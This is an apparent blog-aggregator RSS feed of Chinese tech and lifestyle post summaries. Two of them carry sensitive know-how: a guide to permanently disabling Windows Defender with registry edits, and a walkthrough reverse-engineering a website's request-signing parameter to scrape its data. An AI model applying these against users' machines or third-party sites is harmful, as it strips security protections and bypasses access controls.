      <description>因为千防万防还是被咬，所以突然想说说这个话题。&#xA;蚊子咬人会引起过敏反应，就是起包，很痒，并且很多种类的蚊子会传播疾病，所以比较讨厌。讨厌就要防。&#xA;其实所谓的“防”，有三个方向。第一，杀掉蚊子。就是先发制人，提前干掉作案人就不会有案件发生。第二，我不杀你，但你也不要跨过底线，别咬我就行，大家争取有个佛系的和平。第三，隔离。周围没有蚊子。所以，一直以来，大家都在这几个方向上想招儿。下面说一些自己用过的。&#xA;1、住高层。这算是隔离法。不过可能不太管用。直观上讲，蚊子那么小，一口气就可以吹走，能飞到很高的楼层吗？当然，理论上讲，居住环境到达一定的高度就肯定不会再有蚊子了。就个人经历而言，在试过23层不管用后，又搬到了31层，结论是有效果，但还是有蚊子，所以还得高！&#xA;2、蚊帐。这也是隔离法。感觉是最简单、100%管用的。不管用什么其它方法，这个一定要安排上，多少是个保底。&#xA;3、开空调冻死蚊子。这个管用，类似于先发制人吧，虽然不至于真的冻死达成一劳永逸，但温度低了蚊子的活性就低了，就不怎么咬人了。不过不一定能实现。&#xA;4、杀虫剂，比如常用的杀虫喷雾。亲测管用，喷上了保证1s生效。小强都受不了这个，更何况蚊子。只是一般杀虫剂都有毒性，大概率对家里宠物不友好，另外，比如杀虫喷雾，这味儿也太大了！综合起来，大概算是杀敌一千自损八百。&#xA;5、高压灭蚊灯。管用，但可惜是被动的，引诱不会达到100%成功，总有漏网之鱼。感觉是更适合于蚊子很多的场合，作用是降低密度。&#xA;6、电蚊拍。这个当然管用，但前提是得先发现目标。蚊子那么小，而且总有比较鬼的，猫起来找不到。&#xA;7、蚊香和电蚊香。原理似乎都是用除虫菊酯，管用。但普遍认为对家里得猫猫狗狗不太友好，而且有些蚊香确实烟儿比较大。不过主打是价格低廉使用方便。你去露营也能点一盘蚊香不是。&#xA;8、住高层，开窗睡觉，屋里空气流动比较快，能把蚊子吹跑吗？答案是如果风不影响你睡觉的话，就不管用。&#xA;9、驱虫香包。亲测不管用。香包都是放一些晒干的植物进去，气味很好，不过文字似乎也不怎么怕。&#xA;10、驱蚊啫喱。和驱蚊香包差不多原理。主要芳香物质据说是香茅提取物，不过亲测不怎么管用，还是被咬。&#xA;11、驱蚊喷雾、驱蚊香水。亲测管用，不过都是管几个小时，而且作用范围比较小。你在胳膊上涂了，脚上没涂，蚊子就会咬你脚。而且过几个小时就失效了。最关键的是生效时间也就2~3小时吧，还没睡醒呢。&#xA;12、驱蚊贴。管用，但是似乎作用范围比驱蚊香水还小，比较鸡肋。而且贴上这玩意儿，感觉自己像自杀小队2里的圆点人，偏搞笑。&#xA;13、开着灯睡觉。亲测不管用。而且如果不习惯的话还有附加伤害：睡不好，困。&#xA;所以，鉴于家里有喵星人，最终的方法就是：蚊帐+电蚊拍+手电。关灯，支上蚊帐，然后手电+电蚊拍打一遍，齐活儿！</description>
    </item>
    <item>
      <title>惊天营救2，那啥锤哥就是一样NB</title>
      <link>https://bchobby.github.io/posts/ecd123a8b8de9a43c9ac02b7158ea12a/</link>
      <pubDate>Sat, 28 Oct 2023 20:52:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ecd123a8b8de9a43c9ac02b7158ea12a/</guid>
      <description>就是爽片泡泡糖电影啦。总得来说就是讲个爽的故事，不过比什么这个那个赘婿呢，呵呵。说不能比其实也是有道理的：你带宠物去参加狗狗比赛，它首先得是修构才行。&#xA;就说说两句台词。&#xA;最后，桑德罗说：sorry，i&#39;m so sorry！应该说sorry有用，还要警察干嘛，就别装了。这是什么TM玩意儿。&#xA;最后，锤哥说：i&#39;ve not stop！然后就是PENG！说实在的，这才像话！这才是玩意儿！</description>
    </item>
    <item>
      <title>测绘屠夫报表系统V1.0.0-beta</title>
      <link>https://bchobby.github.io/posts/28e07f0f8d6a606cae7f93261202c665/</link>
      <pubDate>Sat, 28 Oct 2023 18:19:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/28e07f0f8d6a606cae7f93261202c665/</guid>
      <description> 1. 简介 测绘屠夫报表系统，能够根据变形监测数据：水准、平面、轴力、倾斜等数据，生成对应的报表，生成报表如下图。如需进一步了解，可以加QQ：3339745885。视频教程可以在bilibili观看。&#xA;2. 软件主界面 3. 生成报表效果 </description>
    </item>
    <item>
      <title>美术如何创建 skybox 贴图资源？</title>
      <link>https://bchobby.github.io/posts/b231833f20c02fde5a215b8f77cd35b3/</link>
      <pubDate>Sat, 28 Oct 2023 17:44:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b231833f20c02fde5a215b8f77cd35b3/</guid>
      <description>文章目录 目的PS手绘+Panorama To CubemapPS手绘+Pano2VRSkybox &amp;amp; Cubemap Tutorial (Maya &amp;amp; Photoshop)Unity 中使用 ReflectionProbe 生成 Cubemap 然后再 PS 调整PS直接手绘 cubemapBlender 导入 Panorama，然后烘焙到 cubemap，再导入unity中使用Blender cube-&amp;gt;to sphere-&amp;gt;再绘制模型上的纹理 (50s教程)其他的References 目的 学习新的自定义天空的做法&#xA;可以再日后，自己制作，或是教会美术如何制作&#xA;这篇文章只有 美术相关的内容&#xA;程序的可以是 连连看，或是 自己撸代码实现 程序化天空盒&#xA;PS手绘+Panorama To Cubemap 参考视频：Create Custom Skybox for Unity with Photoshop - 这个是直接使用 PS 手绘 + Panorama to cubemap&#xA;PS手绘-Panorama图&#xA;方法很简单&#xA;暗灰 填充 地板暖白 填充 顶部使用画笔工具+SHIFT健 绘制水平面上的晚霞：橙红、橙色、蓝色，然后高斯模糊 最后生成这种的一张图：&#xA;Panorama To Cubemap，将刚刚PS手绘的的天空盒转为Cubemap&#xA;使用在线将全景图转为Cubemap 图&#xA;在线工具：Panorama to Cubemap&#xA;PS手绘+Pano2VR PS手绘-Panorama图</description>
    </item>
    <item>
      <title>【Windows】安装Microsoft Store，Microsoft Store离线包</title>
      <link>https://bchobby.github.io/posts/da29c630f3baa270957583f1bf4d7d9d/</link>
      <pubDate>Sat, 28 Oct 2023 17:33:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/da29c630f3baa270957583f1bf4d7d9d/</guid>
      <description>用了大半年的Windows，今天发现没有Microsoft store&#xA;离线包下载：https://wwon.lanzout.com/i4xPL1atnotc离线包下载：https://www.123pan.com/s/Kol7Vv-5VuG.html&#xA;上面的离线包要求操作系统版本 10、0、18363、0 或更高。 如果系统版本比要求的低，上边的离线包用不了，需要自己到这里下载：https://store.rg-adguard.net/ ，在4种搜索方式中选择PackageFamilyName，并输入Microsoft.WindowsStore_8wekyb3d8bbwe进行搜索，下载的文件共5个（选版本号小的）：&#xA;这个方法的步骤： 1、打开「旁加载应用」&#xA;使用 Windows + I 快捷键打开「设置」应用；&#xA;到「更新和安全」—「针对开发人员」；&#xA;将单选项调整选中「旁加载应用」&#xA;2、离线包解压后，逐个双击运行【. AppX 】后缀的程序；&#xA;如果不能双击运行，打开Windows Powershell，逐个通过Add-AppPackage运行&#xA;如&#xA;Add-AppPackage xxx1. AppX&#xA;Add-AppPackage xxx2. AppX&#xA;3、运行 【.MSIXBundle 】后缀的程序，并按照屏幕上的说明继续进行。</description>
    </item>
    <item>
      <title>彻底关闭Win10的杀毒软件</title>
      <link>https://bchobby.github.io/posts/cf1251fab637f5344065f3291e9f275f/</link>
      <pubDate>Sat, 28 Oct 2023 14:17:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cf1251fab637f5344065f3291e9f275f/</guid>
      <description>彻底关闭Win10的杀毒软件 关闭Win10的杀毒软件通过Windows Defender设置临时关闭修改注册表永久禁用Windows Defender禁用行为监控禁用访问保护禁用实时扫描启用 禁用Windows Defender 安全中心：禁用Windows 安全中心服务(wscsvc)禁用Windows Defender 防火墙服务(mpssvc)禁用Windows Defender 防漏洞入侵服务(WdNisSvc) 通过组策略禁用Windows Defender禁用右下角图标立即生效 恢复Defender启用行为监控、访问保护、实时扫描。 关闭Win10的杀毒软件 通过Windows Defender设置临时关闭 打开Windows Defender操作界面，依次打开“病毒和威胁防护”—“病毒和威胁防护设置”；&#xA;在“病毒和威胁防护”设置界面，关闭“实时保护”，关闭“云提供的保护”，关闭“自动提交样本”这三项。 如果按钮是灰色无法修改，那么可能你的第三方软件已通过其他方式为您已经关闭了。&#xA;修改注册表永久禁用Windows Defender 适用windows10家庭版用户，非家庭版用户可以使用组策略禁用。&#xA;按WIN + R 组合键，打开运行，输入regedit，点击确定，快速打开注册表&#xA;在注册表编辑器窗口中，依次打开到： HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender 3. 在右侧空白处，右键点击鼠标–新建—》DWORD(32位)值，将其命名为DisableAntiSpyware&#xA;双击新建的值，将值设置为1。&#xA;确定； 0代表False，1代表True。&#xA;禁用行为监控 定位注册表。&#xA;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection 新建Real-Time Protection这个KEY,用鼠标右键单击Real-Time Protection（文件夹）键，选择新建----》然后单击DWORD（32位）值。&#xA;将该键命名为DisableBehaviorMonitoring，然后确定保存&#xA;双击新建的值，将值设置为1。&#xA;确定； 0代表False，1代表True。&#xA;禁用访问保护 定位注册表。&#xA;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection 用鼠标右键单击Real-Time Protection（文件夹）键，选择新建----》然后单击DWORD（32位）值。&#xA;将密钥命名为DisableOnAccessProtection，然后按Enter键。&#xA;双击新建的值，将值设置为1。&#xA;确定； 0代表False，1代表True。&#xA;禁用实时扫描启用 定位注册表。&#xA;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection 用鼠标右键单击Real-Time Protection（文件夹）键，选择新建----》然后单击DWORD（32位）值。&#xA;将该键命名为DisableScanOnRealtimeEnable，然后按Enter键。&#xA;双击新建的值，将值设置为1。</description>
    </item>
    <item>
      <title>【路径规划】基于matlab粒子群算法栅格地图最短路径规划【含Matlab源码 018期】</title>
      <link>https://bchobby.github.io/posts/a17a6022af98647f6422afbd41679d60/</link>
      <pubDate>Sat, 28 Oct 2023 12:31:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a17a6022af98647f6422afbd41679d60/</guid>
      <description>✅博主简介：热爱科研的Matlab仿真开发者，修心和技术同步精进，Matlab项目合作可私信。&#xA;🍎个人主页：海神之光&#xA;🏆代码获取方式：&#xA;海神之光Matlab王者学习之路—代码获取方式&#xA;⛳️座右铭：行百里者，半于九十。&#xA;更多Matlab仿真内容点击👇&#xA;Matlab图像处理（进阶版）&#xA;路径规划（Matlab）&#xA;神经网络预测与分类（Matlab）&#xA;优化求解（Matlab）&#xA;语音处理（Matlab）&#xA;信号处理（Matlab）&#xA;车间调度（Matlab）&#xA;⛄一、粒子群算法及栅格地图简介 1 粒子群算法&#xA;1.1 引言&#xA;自然界中的鸟群和鱼群的群体行为一直是科学家的研究兴趣所在。生物学家Craig Reynolds在1987年提出了一个非常有影响的鸟群聚集模型，在他的仿真中，每一个个体都遵循：避免与邻域个体相撞：匹配邻域个体的速度；飞向鸟群中心，且整个群体飞向目标。仿真中仅利用上面三条简单的规则，就可以非常接近地模拟出鸟群飞行的现象。1990年， 生物学家Frank Heppner也提出了鸟类模型， 它的不同之处在于：鸟类被吸引飞到栖息地。在仿真中，一开始每一只鸟都没有特定的飞行目标，只是使用简单的规则确定自己的飞行方向和飞行速度，当有一只鸟飞到栖息地时，它周围的鸟也会跟着飞向栖息地，最终整个鸟群都会落在栖息地。&#xA;1995年， 美国社会心理学家James Kennedy和电气工程师RussellEberhart共同提出了粒子群算法(ParticleS warm Optimization， PSO) ， 该算法的提出是受对鸟类群体行为进行建模与仿真的研究结果的启发。他们的模型和仿真算法主要对Frank Heppner的模型进行了修正，以使粒子飞向解空间并在最优解处降落。粒子群算法一经提出，由于其算法简单，容易实现，立刻引起了进化计算领域学者们的广泛关注， 形成一个研究热点。2001年出版的J.Kennedy与R.Eberhart合著的《群体智能》将群体智能的影响进一步扩大[] ， 随后关于粒子群优化算法的研究报告和研究成果大量涌现，继而掀起了国内外研究热潮[2-7]。&#xA;粒子群优化算法来源于鸟类群体活动的规律性，进而利用群体智能建立一个简化的模型。它模拟鸟类的觅食行为，将求解问题的搜索空间比作鸟类的飞行空间，将每只鸟抽象成一个没有质量和体积的粒&#xA;子，用它来表征问题的一个可能解，将寻找问题最优解的过程看成鸟类寻找食物的过程，进而求解复杂的优化问题。粒子群优化算法与其他进化算法一样，也是基于“种群”和“进化”的概念，通过个体间&#xA;的协作与竞争，实现复杂空间最优解的搜索。同时，它又不像其他进化算法那样对个体进行交叉、变异、选择等进化算子操作，而是将群体中的个体看作在l维搜索空间中没有质量和体积的粒子，每个粒子以一定的速度在解空间运动， 并向自身历史最佳位置P best和邻域历史最佳位置g best聚集， 实现对候选解的进化。粒子群算法具有很好的生物社会背景而易于理解，由于参数少而容易实现，对非线性、多峰问题均具有较强的全局搜索能力，在科学研究与工程实践中得到了广泛关注。目前，该算法已广泛应用于函数优化、神经网络训练、模式分类、模糊控制等领域。&#xA;1.2 粒子群算法理论&#xA;1.2.1粒子群算法描述&#xA;鸟类在捕食过程中，鸟群成员可以通过个体之间的信息交流与共享获得其他成员的发现与飞行经历。在食物源零星分布并且不可预测的条件下，这种协作机制所带来的优势是决定性的，远远大于对食物&#xA;的竞争所引起的劣势。粒子群算法受鸟类捕食行为的启发并对这种行为进行模仿，将优化问题的搜索空间类比于鸟类的飞行空间，将每只鸟抽象为一个粒子，粒子无质量、无体积，用以表征问题的一个可行解，优化问题所要搜索到的最优解则等同于鸟类寻找的食物源。粒子群算法为每个粒子制定了与鸟类运动类似的简单行为规则，使整个粒子群的运动表现出与鸟类捕食相似的特性，从而可以求解复杂的优化问题。&#xA;粒子群算法的信息共享机制可以解释为一种共生合作的行为，即每个粒子都在不停地进行搜索，并且其搜索行为在不同程度上受到群体中其他个体的影响[8]，同时这些粒子还具备对所经历最佳位置的记&#xA;忆能力，即其搜索行为在受其他个体影响的同时还受到自身经验的引导。基于独特的搜索机制，粒子群算法首先生成初始种群，即在可行解空间和速度空间随机初始化粒子的速度与位置，其中粒子的位置用于表征问题的可行解，然后通过种群间粒子个体的合作与竞争来求解优化问题。&#xA;1.2.2粒子群算法建模&#xA;粒子群优化算法源自对鸟群捕食行为的研究：一群鸟在区域中随机搜索食物，所有鸟知道自己当前位置离食物多远，那么搜索的最简单有效的策略就是搜寻目前离食物最近的鸟的周围区域。粒子群算法&#xA;利用这种模型得到启示并应用于解决优化问题。在粒子群算法中，每个优化问题的潜在解都是搜索空间中的一只鸟，称之为粒子。所有的粒子都有一个由被优化的函数决定的适应度值，每个粒子还有一个速度决定它们飞翔的方向和距离。然后，粒子们就追随当前的最优粒子在解空间中搜索[9]。&#xA;粒子群算法首先在给定的解空间中随机初始化粒子群，待优化问题的变量数决定了解空间的维数。每个粒子有了初始位置与初始速度，然后通过迭代寻优。在每一次迭代中，每个粒子通过跟踪两个“极值”来更新自己在解空间中的空间位置与飞行速度：一个极值就是单个粒子本身在迭代过程中找到的最优解粒子，这个粒子叫作个体极值：另一个极值是种群所有粒子在迭代过程中所找到的最优解粒子，这个粒子是全局极值。上述的方法叫作全局粒子群算法。如果不用种群所有粒子而只用其中一部分作为该粒子的邻居粒子，那么在所有邻居粒子中的极值就是局部极值，该方法称为局部粒子群算法。&#xA;1.2.3粒子群算法的特点&#xA;粒子群算法本质是一种随机搜索算法，它是一种新兴的智能优化技术。该算法能以较大概率收敛于全局最优解。实践证明，它适合在动态、多目标优化环境中寻优，与传统优化算法相比，具有较快的计&#xA;算速度和更好的全局搜索能力。&#xA;(1)粒子群算法是基于群智能理论的优化算法，通过群体中粒子间的合作与竞争产生的群体智能指导优化搜索。与其他算法相比，粒子群算法是一种高效的并行搜索算法。&#xA;(2)粒子群算法与遗传算法都是随机初始化种群，使用适应值来评价个体的优劣程度和进行一定的随机搜索。但粒子群算法根据自己的速度来决定搜索，没有遗传算法的交叉与变异。与进化算法相比，粒子群算法保留了基于种群的全局搜索策略，但是其采用的速度-位移模型操作简单，避免了复杂的遗传操作。&#xA;(3)由于每个粒子在算法结束时仍保持其个体极值，即粒子群算法除了可以找到问题的最优解外，还会得到若干较好的次优解，因此将粒子群算法用于调度和决策问题可以给出多种有意义的方案。&#xA;(4)粒子群算法特有的记忆使其可以动态地跟踪当前搜索情况并调整其搜索策略。另外，粒子群算法对种群的大小不敏感，即使种群数目下降时，性能下降也不是很大。&#xA;1.3 粒子群算法种类&#xA;1.3.1基本粒子群算法&#xA;1.3.2标准粒子群算法&#xA;引入研究粒子群算法经常用到的两个概念：一是“探索”，指粒子在一定程度上离开原先的搜索轨迹，向新的方向进行搜索，体现了一种向未知区域开拓的能力，类似于全局搜索；二是“开发”，指粒子在一定程度上继续在原先的搜索轨迹上进行更细一步的搜索，主要指对探索过程中所搜索到的区域进行更进一步的搜索。探索是偏离原来的寻优轨迹去寻找一个更好的解，探索能力是一个算法的全局搜索能力。开发是利用一个好的解，继续原来的寻优轨迹去搜索更好的解，它是算法的局部搜索能力。如何确定局部搜索能力和全局搜索能力的比例， 对一个问题的求解过程很重要。1998年， Shi Yuhui等人提出了带有惯性权重的改进粒子群算法[10]，由于该算法能够保证较好的收敛效果，所以被默认为标准粒子群算法。其进化过程为：&#xA;在式(6.7)中，第一部分表示粒子先前的速度，用于保证算法的全局收敛性能；第二部分、第三部分则使算法具有局部收敛能力。可以看出，式(6.7)中惯性权重w表示在多大程度上保留原来的速度：W</description>
    </item>
    <item>
      <title>js逆向七麦网站</title>
      <link>https://bchobby.github.io/posts/eb585c60c4a9425544efb46e28322fee/</link>
      <pubDate>Sat, 28 Oct 2023 11:48:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eb585c60c4a9425544efb46e28322fee/</guid>
      <description>前言 大数据时代的到来,人们对于数据的需求越来越大,但对于数据的获取不再像以前那么简单。&#xA;各大网站都对数据进行了加密处理来保护数据的安全。但是上有政策，下有对策。&#xA;今天带来逆向的第一个案例。&#xA;Let&#39;s Go!&#xA;目标网址：七麦数据 -专业移动产品商业分析平台-关键词优化-ASA优化-七麦科技&#xA;按F12进行常规抓包，发现这是一个url参数加密，analysis=eDUjFCk/Nw9UaXUMBlMMWgIlJRQiOEcIcRRMFgBXXU4LDQAdAToWAAJaVlUAB1ZbV1A4Wkk=&#xA;只要我们破解了该参数，就可以正常获取数据啦！&#xA;一般查找加密位置有三种基本方法：&#xA;关键字搜索&#xA;Hook方法&#xA;XHR断点&#xA;当前前提是网站走的XHR（XMLHttpRequest）请求，今天我们采取XHR断点方式来找加密位置。&#xA;先点击源代码（source），右侧有个XHR断点点击+号，把analysis添加到方框中去。&#xA;而后刷新网页，看如下图，这样就被断住啦。然后我们一定要取消XHR断点，在进行调试，否则后面调试会遇到各种问题。&#xA;后面就是常规的调试，发现如下图.then回调方法（后台服务器返回数据给浏览器）&#xA;我们点击这个向下的箭头进行下一步。发现我们要的数据就在后台返回的t中。&#xA;后面我们再点击向上的箭头出栈。走到如下位置。发现Kt是个interceptors拦截器，Xt是response响应，因此我们可以断定拦截器请求（request）一定在这上面。&#xA;再次按向上的箭头，来到如下图位置。然后我们进行打断点，看原始数据的请求是怎么进行加密的，然后找到加密的位置，并把对应代码拿下来，我们就能自己进行模拟加密了。&#xA;如下图我们发现：&#xA;e = (0,i[jt])((0,i[qt])(a, d)) 经过分析e通过函数加密形成analysis加密参数&#xA;(0, i[jt])这种形式，我们可以把看它C语言中的逗号操作符，以最后的那位数的结果作为结果，因此我们改写成：args =i[qt](a, d)，analysis=i[jt](args)&#xA;a=&#39;MTEyMDIzLTAxLTE3MzZjbmZyZWVpcGFk@#/rank/indexSnapshot@#12700680949@#3&#39; 第一次&#xA;a=&#39;MTEyMDIzLTAxLTE3MzZjbmZyZWVpcGFk@#/rank/indexSnapshot@#12701166844@#3&#39; 第二次&#xA;d=&#39;xyz517cda96abcd&#39;第一次&#xA;d=&#39;xyz517cda96abcd&#39;第二次&#xA;通过多次分析，d参数是写死的，而a是动态的参数&#xA;而a的生成就是如下三个代码生成的：&#xA;a = a[Ot]()[I1](_), a = (0,i[jt])(a), a = (a += v + t[Jt][T](t[Mt], _)) + (v + r) + (v + 3) 现在开始我们就是扣代码啦。&#xA;var obj = {} obj.xx = v function o(n) { //o是我们h中要o具体函数的实现 t = &#39;&#39;, [&#39;66&#39;, &#39;72&#39;, &#39;6f&#39;, &#39;6d&#39;, &#39;43&#39;, &#39;68&#39;, &#39;61&#39;, &#39;72&#39;, &#39;43&#39;, &#39;6f&#39;, &#39;64&#39;, &#39;65&#39;][&#39;forEach&#39;](function (n) { t += unescape(&#39;%u00&#39; + n) }); var t, e = t; return String[e](n) } function h(n, t) { // h就是i[qt]，n就是a加密的数据,t就是要传入的d t = t || &#39;a12c0fa6ab9119bc90e4ac7700796a53&#39;; for (var e = (n = n[&#39;split&#39;](&#39;&#39;))[&#39;length&#39;], r = t[&#34;</description>
    </item>
    <item>
      <title>Windows 11&#43;Ubuntu双系统（安装、删除）</title>
      <link>https://bchobby.github.io/posts/897ed90d640f5a9b69bdf5c6d8a9cffb/</link>
      <pubDate>Sat, 28 Oct 2023 11:47:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/897ed90d640f5a9b69bdf5c6d8a9cffb/</guid>
      <description>一、安装Ubuntu系统 0. 准备工作 1）系统镜像文件（点此链接下载历史版本的Ubuntu镜像文件）&#xA;2）烧盘软件（点此链接下载启动盘制作软件Win32Disk Imager）&#xA;1. 制作启动盘 注意：U盘需要具有4G以上的容量大小，制盘完成U盘将失去存储功能，如有文件提前备份。&#xA;打开下载好的制盘工具，映像文件一栏打开系统镜像文件所在的存储盘和路径，注意右下角。&#xA;点击写入，继续执行。跳出“写入完成”的弹窗之后，启动盘就制作好了。&#xA;（图中的示例是Ubuntu20.04版本，这个操作过程各个版本均一致）&#xA;2. 磁盘分区 打开磁盘管理，从空盘中压缩出一个未分配的空间用于安装Ubuntu。建议分配空间的大小为100G&#xA;以上。具体的挂载分配方案如下（以100G为例）：&#xA;swap交换空间：10G，efi：500MB，/ 挂载点：25G， /home：剩下所有&#xA;如果分区多于100G，swap和efi固定，部分划分给/ 挂载点，绝大部分划分给/home。磁盘分配的过程将在安装系统时进行，这里是对磁盘划分的安排。接下来查看磁盘格式，目前大部分都是GPT格式，所以接下来的教程也以GPT分区格式为例。&#xA;3. BIOS设置 插入启动盘，进入电脑BIOS设置界面，找到启动设置的选项，把disk磁盘启动放在第一的位置，保存后退出。再次启动，进入开启选项，选择磁盘，就会进入到引导安装界面。（以上操作需要在开机过程中快捷键进入，不同品牌电脑之间存在差异，BIOS的ui界面也会有差异。某些电脑直接进入的是简单模式，选项卡要在高级模式下操作）&#xA;4. 安装界面 安装引导大部分是默认选项，到安装类型这一步时，点击其他选项，手动进行磁盘的分配挂载。&#xA;“用于”一栏，分别选择EFI系统分区，交换空间，EXT4系统日志文件（/挂载点，/home在此项下）&#xA;按照上面提到的分区方案分配对应大小的空间即可。&#xA;分配好空间后，下面“安装启动引导器的设备”选项栏要于efi空间前的设备编号一致。&#xA;继续按照引导进行就完成了Ubuntu系统的安装，接下来会有提示重启，重启。黑屏后，屏幕上会有拔出磁盘并点击Enter重启的提示，一定要按照提示进行操作！&#xA;5. 完结 重启开机，系统就已经安全安装好了。&#xA;----------------------------------------------------------------------------------------------------------------------------&#xA;二、卸载Ubuntu系统 1. 工具 DiskGenius（下载链接）&#xA;2. 操作 删除分配给Ubuntu的磁盘分区，然后点击保存更改&#xA;接着删除图示路径下的Ubuntu文件夹，至此Ubuntu系统就完全删除了。</description>
    </item>
    <item>
      <title>springboot web项目中 Set-Cookie 失败 办法</title>
      <link>https://bchobby.github.io/posts/92ea80f6aac08c3677e0d84e25458625/</link>
      <pubDate>Sat, 28 Oct 2023 11:39:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/92ea80f6aac08c3677e0d84e25458625/</guid>
      <description>1. 背景 目前有个项目 线上环境 使用spring session管理的登录&#xA;项目中有两个接口&#xA;一个用来登录的 登录成功后会设置cookie 后续请求就会使用该cookie （cookie的键值就是session Id 和 登录后的信息 例如菜单，权限等）&#xA;一个用来检查是否登录的 根据session id 来判断是否登录 没有登录信息的 直接返回未登录&#xA;调用登录成功后 发现Set-Cookie 出现响应头中 但是 调用检查接口发现还是还是未登录&#xA;如下图 模拟登录接口 响应中正确返回了 session&#xA;但是检查登录却未将 模拟登陆返回的接口携带上 导致登录校验失败&#xA;2. 问题排查 刚开始怀疑两次请求的session id 不一致导致无法使用 模拟登录返回的cookie 但是在测试环境时 可以校验登录接口正常使用 模拟登陆返回的session&#xA;模拟登录的接口&#xA;验证登录的接口&#xA;那问题好像不是session不一致的问题。&#xA;因为目前使用spring-session来管理session 如果登录成功后 会将session id 以及登录信息 设置到cookie 同时存入到浏览器 应用的 cookie中 同时会将session 存入到 redis中 其他的接口就会携带&#xA;那目前设置没问题 那登录成功后是否 将session 存入到到浏览器应用的cookie 直接去检查 发现没有设置上&#xA;这里发现 模拟登录成功后 并没有将session 存入到 浏览器应用的cookie中</description>
    </item>
    <item>
      <title>3、STM32EXIT外部中断（STM32）</title>
      <link>https://bchobby.github.io/posts/1e5ef208c5066f336d9b1982bd258727/</link>
      <pubDate>Sat, 28 Oct 2023 10:29:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1e5ef208c5066f336d9b1982bd258727/</guid>
      <description>STM32中断 （中断，对于引脚来说，相当于引脚发生了电平跳变，对于定时器来说，可以是定时的时间到了。 中断嵌套：把中断程序再次中断，就叫做中断嵌套）&#xA;（被暂停的地方称为断点）&#xA;为了程序能在中断返回时继续原来的工作，在中断执行前，会对程序的现场进行保护，中断执行后，会再还原现场，这样可以保证主程序即使被中断了，回来后也能继续运行，当然我们用c语言编程，保护现场和还原现场的工作并不需要我们去做，编译器自动帮我们做好了，这里了解一下即可。&#xA;一般中断程序都是在一个子函数里的，这个函数不需要我们调用，当中断来临时，由硬件自动调用这个函数。&#xA;STM32中断：有68个可屏蔽中断通道（中断通道即中断源，68格是F1系列最多的中断数量），stm32包含EXTI外部中断、TIM定时器、ADC模数转换器、USART串口、SPI通信、I2C通信、RTC实时时钟等多个外设；&#xA;使用NVIC统一管理中断，每个中断通道都拥有16个可编程的优先等级，可对优先级进行分组，进一步设置抢占优先级和响应优先级。（NVIC是STM32用来管理中断、分配优先级的，NVIC的中断优先级总共有16个等级，还可以设置抢占优先级，这个是非常灵活的）&#xA;下面就是STM32里的中断资源了，了解一下即可，灰色为内核中断（比较高深），其他就是STM32的外设中断了，比如第一个，窗口看门狗，这个是用来监测程序运行状态的中断，那比如你的程序卡死了，没有及时喂狗，窗口看门狗就会申请中断，让你的程序跳到窗口看门狗的中断程序里，那你在中断程序里就可以进行一些错误检查，看看出现什么问题了。&#xA;然后PVD电源电压检测，如果你的供电电压不足，PVD电路就会申请中断，在中断里就知道，现在供电不足，是不是电池没电了，要赶紧保存一下重要数据......&#xA;总之外设电路检测到有什么异常或事件，需要进一步提示CPU的时候，它就可以申请中断，让程序跳到对应的中断函数里运行一次，用来处理这个异常或事件，表里面的这7个是这节要学的。&#xA;（地址的作用：程序中的中断函数的地址是由编译器来分配的，是不固定的，但是我们的中断跳转，由于硬件的限制，只能跳到固定的地址执行程序，所以为了能让硬件跳转到一个不固定的中断函数里，这里就需要在内存中定义一个地址的列表，这个列表的地址是固定的，中断发生后，就跳到这个固定位置，然后在这个固定位置，由编译器再加上一条跳转到中断函数的代码，这样中断跳转就可以跳转到任意位置了，这个中断地址的列表就叫中断向量表，相当于中断跳转的一个跳板，不过我们用c语言编程的话是不需要这个中断向量列表的，因为编译器已经做好了）&#xA;NVIC(嵌套中断向量控制器) 接下来看NVIC的基本结构&#xA;在STM32中，使用NVIC统一管理中断，每个中断通道都拥有16个可编程的优先等级，可对优先级进行分组，进一步设置抢占优先级和响应优先级。（NVIC是STM32用来管理中断、分配优先级的，NVIC的中断优先级总共有16个等级，还可以设置抢占优先级，这个是非常灵活的），它是一个内核外设（CPU小助手）。&#xA;图中中断与NVIC连接的地方有一斜杠加一个n，表示一个外设可能会同时占用多个中断通道，所以这里有n条线，然后NVIC只有一个输出口，NVIC根据每个中断的优先级分配中断的先后顺序，最后通过右边一个输出口告诉CPU要处理哪一个中断。&#xA;NVIC优先级分组 优先级分为响应优先级和抢占优先级：&#xA;（1）响应优先级：相当于插队的优先级（例子：上一个人在看病，外面排队了很多病人，当上一个病人看完后，紧急的病人即使是后来的，也会最先进去看病，这种相当于插队的优先级叫做响应优先级）&#xA;（2）抢占优先级：（例子：上一个人在看病，外面排队了很多病人，当上一个病人看完甚至还在看的时候，如果下一个病人更加紧急，那他甚至可以不等上一个人看完，他可以直接冲进去让上一个病人靠边站，先给他看病，等他看完后，然后上一个病人再继续。这种形式的优先级就是中断嵌套，这种决定是不是可以中断嵌套的优先级就叫抢占优先级，抢占优先级高的可以进行中断嵌套）&#xA;补充：响应优先级高的可以优先排队，抢占优先级和响应优先级均相同的按中断号（表里第二列）排队，数值小的优先响应。&#xA;由于每个中断有16个优先级，为了把这个优先级再区分为抢占优先级和响应优先级，就需要对这16个优先级进行分组了&#xA;（值越小，优先级越高，0是最高级优先级）&#xA;接下来开始第一个病人：&#xA;一、EXIT（Extern Interrupt）外部中断： 1、简介 